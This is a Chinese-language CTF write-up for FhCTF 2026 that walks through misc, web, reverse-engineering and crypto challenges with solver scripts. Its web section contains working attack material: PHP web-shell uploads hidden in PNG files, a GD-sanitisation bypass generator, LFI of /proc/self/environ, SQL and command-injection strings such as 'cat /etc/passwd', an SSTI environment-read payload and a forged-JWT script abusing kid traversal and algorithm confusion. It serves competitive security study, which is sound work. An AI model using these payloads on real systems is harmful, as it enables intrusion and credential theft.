FhCTF 2026 Writeup
/ 58 min read
Table of Contents
Group : --------------------------開放團訂麥當勞底下留言+1--------------------------Final : Rank 1(Top 1)Misc
Sanity Check
Christmas Tree
經典的霍夫曼編碼題
import json
with open('encoded_gift.txt', 'r') as f: encoded = f.read().strip()
with open('huffman_tree.json', 'r') as f: huffman_tree = json.load(f)
def decode_huffman(encoded_data, tree): decoded = [] current = tree
for bit in encoded_data: current = current[bit]
if isinstance(current, str): decoded.append(current) current = tree
return ''.join(decoded)
decoded_message = decode_huffman(encoded, huffman_tree)print(f"Decoded message: {decoded_message}")我要吐槽一點霍夫曼編碼的英文是”Huffman”不是”Hoffman”
駭客的密碼食譜
將每個食材的數值轉換成 ASCII 字元:
125 → }110 → n117 → u102 → f95 → _115 → s105 → i95 → _103 → g110 → n105 → i107 → k111 → o111 → o99 → c123 → {70 → F84 → T67 → C104 → h70 → F笑話大師
恭喜這題被評為最鳥的一題
我就只是輸入一個?

分享圖庫
一進來我們可以看到這個介面只允許 PNG 上傳
發現 PNG 有固定的 8 字節標頭,那我們就可以在標頭之後添加 PHP 代碼
png_header = ( b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' b'\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4' b'\x89\x00\x00\x00\x0A\x49\x44\x41\x54\x78\x9C\x63\x00\x01\x00\x00' b'\x05\x00\x01\x0D\x0A\x2D\xB4\x00\x00\x00\x00\x49\x45\x4E\x44\xAE' b'\x42\x60\x82')構建 PHP Payload: 嘗試多種指令讀取方式
php_code = b'\n\n<pre>__START__\n<?php system("env || printenv"); ?>\n__END__</pre>\n'
file_content = png_header + php_code
print(f"[*] Uploading payload to {UPLOAD_URL}...")
try: files = {'fileToUpload': (FILENAME, file_content, 'image/png')} data = {'submit': 'Upload Image'}
r = requests.post(UPLOAD_URL, files=files, data=data, timeout=10)
if "has been uploaded" in r.text: print(f"[+] Upload successful!") else: print("[-] Upload failed.") print(f"Status Code: {r.status_code}") print("Response Snippet:", r.text[:300]) sys.exit()
exploit_url = TARGET_URL + "uploads/" + FILENAME print(f"[*] Executing payload at {exploit_url}...")
r_exec = requests.get(exploit_url, timeout=10)
if r_exec.status_code == 404: print("[-] Error: 404 Not Found.") print(" The file might have been deleted by cleanup scripts or the upload path is different.") sys.exit()
content = r_exec.text
flag_match = re.search(r'(FhCTF\{.*?\})', content)
if flag_match: print(f"\n[SUCCESS] Flag found:\n{flag_match.group(1)}\n") else: start = content.find("__START__") end = content.find("__END__") if start != -1 and end != -1: output = content[start+9:end].strip() print("\n[+] Command Output (env):") print(output) if "flag" in output.lower(): print("\n[!] 'flag' keyword found in output, please check manually above.") else: print("\n[-] Flag pattern not found automatically.") print("Raw response preview (check manually):") print(content[:500])
except requests.exceptions.ConnectionError: print(f"\n[-] Connection Error: Could not connect to {TARGET_URL}") print(" Please check if the CTF instance is still running or if the URL has changed.")except Exception as e: print(f"\n[-] An error occurred: {e}")PS C:\Users\09801\Downloads\gallery> & C:/Users/09801/AppData/Local/Microsoft/WindowsApps/python3.13.exe c:/Users/09801/Downloads/gallery/test.py[*] Target set to: http://8608faf0.fhctf.systems/[*] Uploading payload to http://8608faf0.fhctf.systems/upload.php...[+] Upload successful![*] Executing payload at http://8608faf0.fhctf.systems/uploads/avatar.php...
[SUCCESS] Flag found:FhCTF{png_format?Cannot_stop_php!}
PS C:\Users\09801\Downloads\gallery>分享圖庫 Revenge
目標 (Goal): Dockerfile 第 14 行顯示 Flag 儲存在環境變數中:ENV flag="FhCTF{fake_flag}"。因此,我們的目標是執行 PHP 程式碼來讀取環境變數(例如使用 getenv('flag') 或 $_ENV)。
漏洞入口 (Vulnerability): upload.php 負責處理上傳。
檢查機制:它會檢查檔案是否為 PNG (exif_imagetype),並嘗試用 GD 載入 (imagecreatefrompng)。這防止了單純的「改副檔名」或「文件尾附加 PHP 代碼」。
清洗機制 (Sanitization):最關鍵的是第 49 行 imagepng($img, $target_file)。這會重繪圖片並存檔。一般的 Web Shell(例如在圖片結尾加 <?php system(...) ?>)經過這個步驟後,附加的代碼會被丟棄,只剩下純圖片數據。
檔名漏洞:第 7 行 $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);。伺服器直接使用了你上傳的檔名與副檔名。如果你上傳 shell.php,它就會存成 uploads/shell.php。
- 解題思路 (Strategy) 我們需要利用 “PHP GD Bypass” 技術。 我們需要構造一個特殊的 PNG 圖片,使得它在被 imagecreatefrompng 讀取並由 imagepng 重新壓縮寫入後,新的圖片數據流中仍然包含 PHP 代碼。
這通常是透過操控 PNG 的 IDAT 塊(像素數據)來達成。當這些像素被壓縮算法處理時,會剛好組成類似 <?=$_GET[0]($_POST[1]);?> 的字串。
- 攻擊步驟 (Step-by-Step) 第一步:生成 Payload 你需要一個腳本來生成這種「抗清洗」的 PNG。以下是一個常用的生成腳本(基於國外研究員的 IDAT/PLTE Bypass 技術)。
請將以下程式碼存為 gen_payload.php 並在你的電腦上用 PHP 執行它:
<?php// 產生一個可以繞過 PHP GD 重繪的 PNG Web Shell// Payload: <?=`$_GET[0]`;?>
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img, 'payload.png');echo "Payload generated: payload.png\n";?>執行後會得到 payload.png。這個圖片的特性是:即使經過 imagecreatefrompng 再 imagepng,裡面的 Hex 數據仍會包含 PHP 後門。
第二步:準備攻擊檔案 將生成的 payload.png 重新命名為 shell.php。
伺服器檢查內容:它是合法的 PNG(通過)。
伺服器存檔:存為 .php(因為我們檔名是 .php)。
伺服器清洗:Payload 的構造特性讓它在清洗後,PHP 代碼依然存在。
第三步:上傳與執行 回到題目網頁,上傳 shell.php。
因為我們的 Payload 是 <?=$_GET[0];?>,我們可以用 GET 參數傳入指令。
curl.exe "http://b1baf89e.fhctf.systems/uploads/shell.php?0=system" -d "1=env" --output - | Select-String "FhCTF"
Python Compile
在程式碼錯誤時會顯示 Syntax Error,代表在處理錯誤時還是會讀到檔案
可以推測可能為LFI 題。
在程式碼輸入框隨意輸入會造成語法錯誤的 Python 程式碼並送出,頁面會顯示 Syntax Error,且錯誤訊息包含 “Line N” 與該行內容的回顯。
由錯誤可推測,後端在渲染 Syntax Error 時,會依行數讀取來源檔案的對應行內容,且讀檔目標來自使用者的 filename;這形成本地檔案讀取(LFI)風險。
以 PoC 驗證,將request中的 filename 改為system path(如 /proc/self/environ),同時維持語法錯誤的程式碼,觀察錯誤訊息是否顯示該檔案內容。
為了讓error出現在第 1 行,將程式碼內容設為單一 ”(“,backend會再嘗試讀取 filename 的第 1 行並顯示在error中。
monaco.editor.getModels()[0].setValue("(");document.querySelector('input[name="filename"]').value = '/proc/self/environ';document.getElementById('compileForm').submit();在error中可以看到 /proc/self/environ 的輸出,可以得到包含FLAG= 的 environment variable。
最後就可以拿到flag
Survey
Survey
Web
INTERNAL LOGIN
客戶端 SQL 注入模擬,在 Username 欄位輸入
- ’ or 1=1—
- ’ OR ‘1’=‘1
- admin’ or 1=1—
- ’ || 1=1—
- anything’ or ‘a’=‘a
Web Robots
robots.txt 對,就是 robots.txt

可以看到有
User-Agent *
Disallow /secret那我們就直接進/secret看吧
進 /secret 後會跳轉到 /secret/index.html ,那很明顯我們看的出來上一步就是目錄
Doors Open
一樣先看 robots.txt
那就進 /doors 看看吧
這裡點開直接是 /door/1 , 那我們就開始用Burp跑0~10000,發現都不是, 看著越來越多人解,就想說應該沒那麼難吧,所以就想說會不會是負數…
The Visual Blind Spot
計算正確的 RGB 密鑰
const _base = parseInt("32", 16); // "32" (十六進位) = 50 (十進位)
const _kMap = { x: _base << 1, // 50 << 1 = 100 y: _base, // 50 z: _base << 2 // 50 << 2 = 200};正確的 RGB 值:
R = 100
G = 50
B = 200解密 sys-config 數據 data-params 包含加密的數據:
249|351|240|291|249|408|288|387|369|192|330|366|324|240|186|375|351|192|375|414解密公式:charCode = (n / 3) - 13
SYSTEM ROOT SHELL
在 script 標籤中發現
javascriptconst _obs = [82, 67, 69, 95, 83, 117, 99, 99, 101, 115, 115, 95, 118, 51];const _h = [70, 104, 67, 84, 70, 123];const isInject = /[;&|]/.test(cmd);ASCII 碼數組轉換為字元
_h → "FhCTF{"
_obs → "RCE_Success_v3"
最後加上 "}"觸發方式
127.0.0.1; ls
127.0.0.1 | whoami
127.0.0.1 & cat /etc/passwdWelcome to Cybersecurity Jungle
一進來會看到上面的畫面,看 HTML source時,注意到 title 標籤包含一段日文
言語(げんご)を変(か)えても、プログラミングの本質(ほんしつ)は変(か)わらない。意旨 “即使改變語言,編程的本質也不會改變
題目的關鍵在於設置正確的 Cookie
Cookie 名稱 (Base64 編碼): aXNGbGFnU2hvdzJ1解碼後: isFlagShow2u
Cookie 值 (Base64 編碼): 44Go44GF44KL44O8解碼後: とぅるー (日文的 "true")
接下來進到 Application 改 cookie 值後重新整理即可
Templating Danger
SSTI題
繞過方法:
if "\\u" in val: normalize_val = val.encode("utf-8").decode('unicode_escape') context[context_key] = Template(normalize_val).render()當輸入包含 \u 時,系統會執行 Unicode 解碼,然後在過濾後直接用 Jinja2 的 Template().render() 渲染內容。這允許我們使用 Unicode 編碼繞過括號過濾。
Payload:
\u007b\u007bcycler.__init__.__globals__.os.environ['FLAG']\u007d\u007d
Documents
一進來看照慣例看sources,找出隱藏字元

- “HTTP Header 告訴了你一切”
檢查 HTTP 標頭發現: powerby: FastAPI
FastAPI 通常有 /openapi.json 端點
可以發現 /flag.html 端點需要 Referer 標頭,所以我們需要偽造他
Invoke-WebRequest -Uri "http://9f1604e5.fhctf.systems/flag.html" ` -Headers @{"Referer"="https://localhost.app:8000/index.html"} ` -UseBasicParsing | Select-Object -ExpandProperty Content
LOG ACCESS
這題提供了一個「安全的日誌讀取工具」,聲稱能偵測並阻擋所有 Path Traversal 攻擊 。題目明確提示:這個工具完全沒有後端,所有判斷似乎都在瀏覽器中完成。
const check1 = input.split('.').length > 3;const check2 = input.toLowerCase().indexOf('flag') !== -1;
if (check1 && check2) { const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}"; output.innerText = "ACCESS_GRANTED:\n" + final;}驗證條件非常清楚:
- check1:輸入必須包含超過 3 個點(. 字元)
- check2:輸入必須包含 “flag” 字串(不區分大小寫)
混淆字串解碼 JavaScript 中使用了幾個混淆的變數 :
const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');// ASCII 解碼:FhCTF
const _c1 = "\x50\x61\x74\x68\x5f";// Hex 解碼:Path_
const _c2 = (21337 >> 4).toString(16);// 位元運算:21337 >> 4 = 1333,轉 hex = 535
const _c3 = "\x54\x72\x34\x76";// Hex 解碼:Tr4v組合起來
Pathway-leak
打開題目網站,觀察檔案管理介面與網頁原始碼。

在 <script> 區塊中發現檔案載入是呼叫:
const TENANT = 'guest_user';const url = `/api/assets/${TENANT}/${filename}`;題目另外提供的檔案清單顯示伺服器上還存在:
secret_admin/flag.txt (38B)推論後端 API 很可能沒有檢查目前使用者是否真的屬於該 tenant,因此直接嘗試跨 tenant 請求:
curl http://71c21714.fhctf.systems/api/assets/secret_admin/flag.txt伺服器回應 HTTP 200,內容為:
KID
進入題目網頁後,先打開瀏覽器的「檢查元素 / 開發者工具」,在原始碼與 console/log 區可以看到幾段 Debug 訊息,直接洩漏了後端的驗證邏輯:
-
金鑰路徑 Debug:
[DEBUG] Fetching key from: /app/keys/default.pem這代表伺服器會根據 JWT Header 裡的
kid(Key ID)去檔案系統讀取金鑰,例如kid = "default.pem"對應/app/keys/default.pem。 -
危險的相容模式:
[DEBUG] HS256 Compatibility Mode: Enabled這表示伺服端在驗證 JWT 時,同時支援非對稱(RS256)與對稱(HS256)模式,而且實作方式存在演算法混淆風險。
-
目前權限:頁面顯示登入身份為
guest,顯然目標是偽造 Token 取得admin權限。
接著從 Cookie 中取出 JWT(例如 access_token),丟到 jwt.io 觀察內容,可以得到類似結構:
- Header:
{"alg": "RS256","kid": "default.pem","typ": "JWT"}
- Payload:
{"role": "guest","iat": 1704350000}
這些資訊已經足夠判斷:伺服器會依 kid 去讀檔案,並用其中內容當作金鑰來驗證 JWT。
- 漏洞原理分析
這題結合了兩個常見錯誤:Directory Traversal + JWT Algorithm Confusion。
-
Directory Traversal (目錄遍歷)
後端實作概念大致類似:
kid = header["kid"]key_path = "/app/keys/" + kidkey_data = open(key_path, "rb").read()若
kid沒有過濾../,攻擊者可以傳入像是:../../../../../../dev/null讓伺服器實際去開啟的路徑變成
/dev/null,而不是預期的/app/keys/default.pem。
雖然我們看不到檔案內容,但伺服器會「自己」幫我們載入,並當成金鑰使用,這就是利用點。 -
JWT Algorithm Confusion (演算法混淆)
預期設計應該是:
- 使用
RS256:- 使用非對稱金鑰(private key 簽發、public key 驗證)。
.pem應該被視為「公鑰」,只能用來驗證 Signature。
但現在伺服器支援
HS256 Compatibility Mode,實作類似:if header["alg"] == "RS256":# 用 public key (pem) 驗證elif header["alg"] == "HS256":# 仍然讀同一個 pem 檔案,但把整個內容當成 HMAC secret結果變成:
- 當
alg = HS256時,伺服器會把「原本是公鑰的 pem 檔內容」當成對稱金鑰(secret)來驗證 HMAC。 - 只要攻擊者「知道」這個 secret,就能在外面自己簽 Token。
問題是:
default.pem的內容我們不知道,所以沒辦法直接利用;但目錄遍歷讓我們可以選擇「其他檔案」來當 secret。 - 使用
-
攻擊思路設計
關鍵想法:
- 找一個「內容已知」的系統檔案,讓伺服器把它讀進來當 HMAC secret。
- 對 Linux 來說,
/dev/null的內容就是空的,所以可以預期:- 程式讀取
/dev/null⇒ 讀到空字串""。
- 程式讀取
- 只要我們在本地端用「空字串」當 secret,就能產出與伺服器一致的 HS256 簽章。
- 再把 Payload 裡的
role改成admin,就可以偽造一個被伺服器接受的管理員 Token。
因此攻擊步驟是:
- 把 JWT Header 的:
alg改為HS256kid改為../../../../../../dev/null
- 用
key = ""(空字串)簽 HMAC-SHA256,產生新的 Token。 - 將 Payload 中
role改成admin、甚至user改成admin,達成提權。
-
實作 Exploit(偽造 JWT)
以下使用 Python + PyJWT 生成偽造 Token:
import jwt# 1. 惡意 Header:目錄遍歷指向 /dev/null,改用 HS256headers = {"kid": "../../../../../../dev/null","alg": "HS256","typ": "JWT"}# 2. 惡意 Payload:直接把角色改成 adminpayload = {"role": "admin","user": "admin","iat": 1704355555}# 3. 簽名:密鑰為空字串,對應伺服器讀取 /dev/null 的結果forged_token = jwt.encode(payload,key="",algorithm="HS256",headers=headers)print("偽造的 Token:\n", forged_token)步驟:
- 從原本 Cookie 拿到合法 JWT,確認欄位名稱(例如
role、user等)。 - 執行腳本,得到一個新的
forged_token字串。 - 在瀏覽器中:
- F12 → Application → Cookies。
- 找到原本存 JWT 的 Cookie(例如
access_token)。 - 將其值整個替換為
forged_token。
- 重新整理頁面。
若後端如題目描述那樣實作,伺服器會:
- 看到
alg = HS256→ 用 HMAC 模式驗證。 - 看到
kid = ../../../../../../dev/null→ 讀取/dev/null當作 secret(空字串)。 - 用空字串驗證 HMAC Signature,因為我們本地端也是用空字串簽的,所以驗證會通過。
- Payload 裡
role = admin,因此認定我們是管理員。

- 從原本 Cookie 拿到合法 JWT,確認欄位名稱(例如
Something You Put Into
檢視 main.py,可知flag是由系統設定取出:
FLAG = ChallSettings().flag確認 ChallSettings() 會從 env variable 中讀取 Flag。
檢查 Docker YAML 設定檔,可發現 Flag 以 plain text 形式存在環境變數設定中。
Reverse
簡易腳本閱讀器
- 先看PY,從第 2 行開始,跳過了 Flag

- 用戶輸入可以修改列表中的任何位置

- JUMP 指令可以改變指令指針到任何索引
那其實我們直接輸入 “JUMP 0” 就好了

OBF
先看code,使用了大量的混淆技術:
- 變數單字母命名 (K, H, G, J, C 等)
- 簡化的內置函數 (A=enumerate, E=chr, F=ord)
- 狀態機設計 (使用字典和指針)
- 魔法數字和字符串
code實現了一個狀態機,按以下順序執行:
狀態 1: XOR 66 解碼 資料: [58,34,118,...,34] 結果: '|`0|`.T1W0.`,`k`'
狀態 5: 字符串反向 資料: 'wEGLxxnj0nbU2fsm' 反向: 'msfU2bn0jnxxLGEw'
狀態 2: Base64 解碼 資料: 'WEVBVldCWkM1UVBWQktHeA==' 解碼: 'XEAVWBZC5QPVBKHX'
狀態 3: 字符減 5 資料: 'GFVzRJI9IctWCFa[' 結果: 'BAQuMED4D^oR>A\V'
狀態 4: 驗證完成 檢查密鑰長度 >= 64 ✓ 完整密鑰 (64 字符)|`0|`.T1W0.`,`k`BAQuMED4D^oR>A\VXEAVWBZC5QP...這個密鑰是通過 4 部分組合而成:
- XOR with 66: |0|.T1W0.,
k(16 字符) - 字符 - 5: BAQuMED4D^oR>A\V (16 字符)
- Base64 解碼: XEAVWBZC5QPVBKHX (16 字符)
- 字符串反向: msfU2bn0jnxxLGEw (16 字符)
解密過程 給定的加密輸出:
3e08772c224960093145070318575a0e741e050c7a2d745a1b6f5a0d5834322b使用密鑰進行 XOR 解密:
flag = ''.join([chr(int(hex_pair, 16) ^ ord(key[i % 64])) for i, hex_pair in enumerate(hex_pairs)])The Lock
使用 IDA 靜態分析
主函數 (main) 邏輯
透過 IDA Pro 反編譯後,可以看到 main 函數的流程如下: 格式檢查 (check_header):檢查輸入是否以 FhCTF{ 開頭並以 } 結尾。 核心驗證 (check_password):這是最關鍵的函數,若回傳值為真,則代表 Flag 正確。
驗證函數 (check_password) 分析
進入 check_password 函數後,可以觀察到以下關鍵點: 字串處理:程式使用 substr 提取了花括號內的內容。 長度限制:內容長度必須正好為 26 個字元。 關鍵數據: v6 (金鑰陣列): [85, 51, 102, 17] v7 (目標數值陣列): [7, 2, 20, 40, 47, 74, 97, 92, 32, 111, 21, 54, 83, 26, 113, 129, 132, 127, 37, 116, 140, 106, 101, 126, 87, 54] 演算法公式:
v7[i] = (v6[i mod 4] XOR input[i]) + 2 * i演算法還原與逆向
為了得到原始輸入,我們需要將上述公式進行移項,反推出 input[i]:
先處理加法偏移:X = v7[i] - 2 * i
再處理異或運算:input[i] = X XOR v6[i mod 4]
自動化解密腳本 (Python)
為了快速得到結果,我們編寫以下腳本:
target = [7, 2, 20, 40, 47, 74, 97, 92, 32, 111, 21, 54, 83, 26, 113, 129, 132, 127, 37, 116, 140, 106, 101, 126, 87, 54]key = [85, 51, 102, 17]
flag_content = ""for i in range(len(target)): # 逆向公式:(v7[i] - 2*i) XOR v6[i%4] char_code = (target[i] - 2 * i) ^ key[i % 4] flag_content += chr(char_code)
print(f"Flag: FhCTF{{{flag_content}}}")最終結果
經過腳本執行,花括號內的字串為 R3v3rs3_Eng1n33r1ng_1s_Ar7。 Flag 內容分析:該字串是 Leet Speak 形式的「Reverse Engineering Is Art」。
最終答案:
壞掉的解碼器
給了兩個檔案
其中encrypted_flag裡有
decrypt裡有
ELF > @ ? @ 8 @ @ @ @ ? ? ? ? ! ! X- X= X= ? @ h- h= h= 8 8 8 0 0 h h h D D S廞d 8 8 8 0 0 P廞d d d d \ \ Q廞d R廞d X- X= X= ? ? /lib64/ld-linux-x86-64.so.2 GNU ? ? GNU e諲p6N)L? GNU ?! 胗姲r?%mC慝驧?C { d ? ? ? ? d u ? ? ^ F , ? ? " ? `A ? B " ? ? T @@ __gmon_start__ _ITM_deregisterTMCloneTable _ITM_registerTMCloneTable _ZSt17__istream_extractRSiPcl _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ _ZSt3cin _ZNSolsEPFRSoS_E _ZSt4cerr _ZSt21ios_base_library_initv _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_ _ZSt4cout fgets __stack_chk_fail fopen strlen __isoc23_strtol __libc_start_main __cxa_finalize fclose fputc libstdc++.so.6 libc.so.6 GLIBCXX_3.4.29 GLIBCXX_3.4.32 GLIBCXX_3.4 GLIBC_2.38 GLIBC_2.4 GLIBC_2.34 GLIBC_2.2.5 ? @ y? ? B? ? t)? ? ? ?? ii ?? ui # X= ` `= @ @ ? ? ? ? ? ? @@ `A B ? ? ? ? ? ? ? ? ? ? ?H?? Ht粀? 5J/ %L/ @ ? 殪f 橏f 樲f 斢f 憸f ?f ?f 廨f 嶵f 嬙f?%? fD ??%? fD ??%? fD ??%? fD ??%~. fD ??%v. fD ??%n. fD ??%f. fD ??%^. fD ??%V. fD ??%N. fD ??檌^HH癚TE1?亍?? ;. 灀.? H?Y. H?R. H9黂H?. Ht ? ? H?). H?". H)H鍔?H霞H韆毤tH?? Ht趒D ? ??=e1 u+UH?? HtH?? ??鋄?=1 ]? ? ?w?HH轣? i鴦N艷90 %H?H? ]鏤HH駍E? ??釓?)?禧?? 壁?E?H?? u?E鏤H?E?貸?E?輾???貸 +E?輾??礑鏤HH H輤輤霂?H齴H轣H輤陊 H?H? t,H轣H輤?? <t妲轣H輤?? <t?卍?HHP dH?%( H?隨?[ HH?? H??H?蹥HH?? H噮 H?: HH?[, H??H?蹧HH?b- H駉 H?蹥H? HH??H?瞰H瞰 u5H?? HH??. H閫?H?? HH韏?? 嬐 H?瞰H?媻? H駗?HtH?瞰H銶?? ? H?媻H鋃?H?瞰H?膣? H??Ht ?膣 H?膣H??H?瞰H??H?蹧H?9 HH??H?H u5H? HH?I- H鞊?H?? HH餈?? 嶧 H?膣H???渾f?渮 ?軷 H?媻H遯?H?唅H?軾 濎 H?媻H?軾H?? ?渮H?軾H?媻?缿H?渮? ? H鋓??欲?欲?荻?欲? 駏??欲H?渾H???H純H錘 錘 鎂)?????壺0??荻?渾???欲H?H韐?H?軾H?軾H;??H?H輘?? H鷣H+%( t遰?卍?HH H輤詡?H轣轣詡輤H鄫?H駓? ?H? Input Filename: Output Filename: r Error opening input file. w Error opening output file. ;X 潘? l?? |?? ?t ?? 7? |?$ 梃D ?d n?? zR x ? & D $ 4 (?? FJw ?9*3$" \ 堆 t 剁? ? ?2 E?Ci ? +?E E?C| ? P?5 E?Cl ? e?o E?Cf 渤N E?CE , 碠? E?Cv ` ? ? X= `= 蘥o ? ? ? / h? ? ? ?o ?o X o ?o ( ?o h= 0 @ P ` p ? ? ? ? @ GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0 ? ? ? ? ? 3 I U `= | ` ? X= ? ? ? ` ? a b ? L " ? Z d m h= v h? ? " ? ? ? @ ? @ ? ? " ? ? N X @ e o y ? & ? ? 5 ? ? " i 2 3 N T @ ` r ? @@ ? ? E ? @ ? ? @@ ? ? 7 S `A h w ? B ? Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry decrypt.cpp _ZNSt8__detail30__integer_to_chars_is_unsignedIjEE _ZNSt8__detail30__integer_to_chars_is_unsignedImEE _ZNSt8__detail30__integer_to_chars_is_unsignedIyEE __FRAME_END__ __GNU_EH_FRAME_HDR _DYNAMIC _GLOBAL_OFFSET_TABLE_ _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_ _edata _IO_stdin_used __cxa_finalize@GLIBC_2.2.5 strlen@GLIBC_2.2.5 main _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_@GLIBCXX_3.4 __dso_handle _Z13removeNewlinePc _fini __libc_start_main@GLIBC_2.34 _Z11rotateRighthi _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@GLIBCXX_3.4 fclose@GLIBC_2.2.5 _ZNSolsEPFRSoS_E@GLIBCXX_3.4 _Z10getNextKeyRj __stack_chk_fail@GLIBC_2.4 _init __TMC_END__ fopen@GLIBC_2.2.5 fputc@GLIBC_2.2.5 _ZSt4cout@GLIBCXX_3.4 _Z12generateSeedPKc __data_start _end __bss_start _ZSt21ios_base_library_initv@GLIBCXX_3.4.32 fgets@GLIBC_2.2.5 _ZSt17__istream_extractRSiPcl@GLIBCXX_3.4.29 _ITM_deregisterTMCloneTable _ZSt3cin@GLIBCXX_3.4 __gmon_start__ _ITM_registerTMCloneTable _ZSt4cerr@GLIBCXX_3.4 __isoc23_strtol@GLIBC_2.38 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I ? ? W ?o ? ? 8 a ? ? i ? ? / q o ( ( , ~ ?o X X ? ? ? ? ? B ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? c ? d d \ ? ? ? L ? X= X- ? `= `- ? h= h- ? h? h/ ? @ 0 @@ 0 X @ 0 0 + @0 p提供ELF二進位檔decrypt與加密檔案encrypted_flag,需逆向分析解密邏輯並實作Python腳本取得flag 。透過strings與函數符號識別關鍵演算法,包括generateSeed、getNextKey、rotateRight等
- 靜態分析
執行strings decrypt顯示程式讀取input/output檔案,使用fopen、fgets、fputc,並依賴libstdc++與libc符號如__stack_chk_fail、__libc_start_main。符號表揭示核心函數:
- generateSeed:從password生成初始seed,使用seed = seed * 31 + ch的hash方式,模0xFFFFFFFF。
- getNextKey:LCG偽隨機產生器,公式(seed * 0x41C64E6D + 0x3039) & 0x7FFFFFFF,key = seed % 255。
- rotateRight:右旋位移,rotate_right(byte, 3)。
- main:讀取hex字串,對每byte執行旋轉→更新seed→XOR key→seed += 原byte。
ELF片段顯示hex資料”2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F79686098C6A5F0593D395543ABFF118410B2F02CF61FA5”與password提示”I_just_afraid_someday_i_will_forget_the_password”。
- 邏輯還原
解密流程為每byte獨立處理:
- hex解析為byte b。
- b_rot = rotate_right(b, 3),即(b >> 3) | (b << 5) & 0xFF。
- seed = getNextKey(seed)。
- key = seed % 255。
- plaintext_byte = b_rot ^ key。
- seed = (seed + b) & 0xFFFFFFFF(注意加原始b,非旋轉後)。
此與常見流密碼不同,seed更新依賴原始密文,形成依賴鏈
- 解密腳本
hexline = ("2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F7" "9686098C6A5F0593D395543ABFF118410B2F02CF61FA5")password = "I_just_afraid_someday_i_will_forget_the_password"
def generate_seed(s: str) -> int: seed = 0 for ch in s.encode(): seed = (seed * 31 + ch) & 0xFFFFFFFF return seed
def get_next_key(seed: int) -> int: return (seed * 0x41C64E6D + 0x3039) & 0x7FFFFFFF
def rotate_right(byte: int, n: int) -> int: return ((byte >> n) | ((byte << (8 - n)) & 0xFF)) & 0xFF
seed = generate_seed(password)out = bytearray()
for i in range(0, len(hexline), 2): b = int(hexline[i:i+2], 16) b_rot = rotate_right(b, 3) seed = get_next_key(seed) key = seed % 255 out.append(b_rot ^ key) seed = (seed + b) & 0xFFFFFFFF
print(out.decode())Crypto
安全的加密
這題展示了為什麼 ECB 加密模式不適合用於圖像資料。
- 加密機制分析

題目使用腳本將 flag 轉換為 BMP 圖檔後,再透過 AES-256-ECB 加密。特別的是,加密金鑰直接從 flag 的十六進位表示取得。由於 OpenSSL 的 enc 指令在金鑰長度不足時會自動填充零位元組至 32 bytes,實際加密過程中的金鑰是可預測的。
- 攻擊向量
ECB 最致命的弱點在於相同明文區塊總是產生相同密文區塊。當加密對象是結構化資料(如圖像)時,這個特性會直接暴露資料的空間分布模式。
- 解密步驟
由於圖檔格式為 1000×100 像素的 32-bit BMP,每個像素佔 4 bytes,總共 400,000 bytes。AES 以 16-byte 為單位分塊加密,對應到圖像中就是每 4 個像素為一組。
透過以下步驟重建圖像:
- 讀取加密檔案並按 16-byte 切分成區塊
- 跳過 BMP 標頭佔用的前 138 bytes(約 9 個區塊)
- 將每個加密區塊視為一個顏色單元
- 重新排列成 250×100 的區塊陣列(1000÷4=250)
- 為不同的密文區塊指派不同顏色進行視覺化
由於文字區域和背景區域的像素值不同,加密後會產生截然不同的密文區塊。透過顏色映射,文字的輪廓會清晰呈現,直接讀取即可得到 flag。
import osfrom PIL import Imagefrom collections import Counter
# 設定ENC_FILE = "flag.enc"OUTPUT_DIR = "results"MIN_WIDTH = 200 # 根據經驗或測試調整範圍MAX_WIDTH = 300
def solve(): # 1. 讀取加密檔案 with open(ENC_FILE, 'rb') as f: content = f.read()
# 2. 切分區塊 (AES Block Size = 16 bytes) block_size = 16 blocks = [content[i:i+block_size] for i in range(0, len(content), block_size)]
# 3. 找出背景 (頻率最高的區塊) counts = Counter(blocks) most_common_block = counts.most_common(1)[0][0]
# 4. 轉換為 0/1 Map (1=背景, 0=文字) pixel_map = [1 if b == most_common_block else 0 for b in blocks]
if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR)
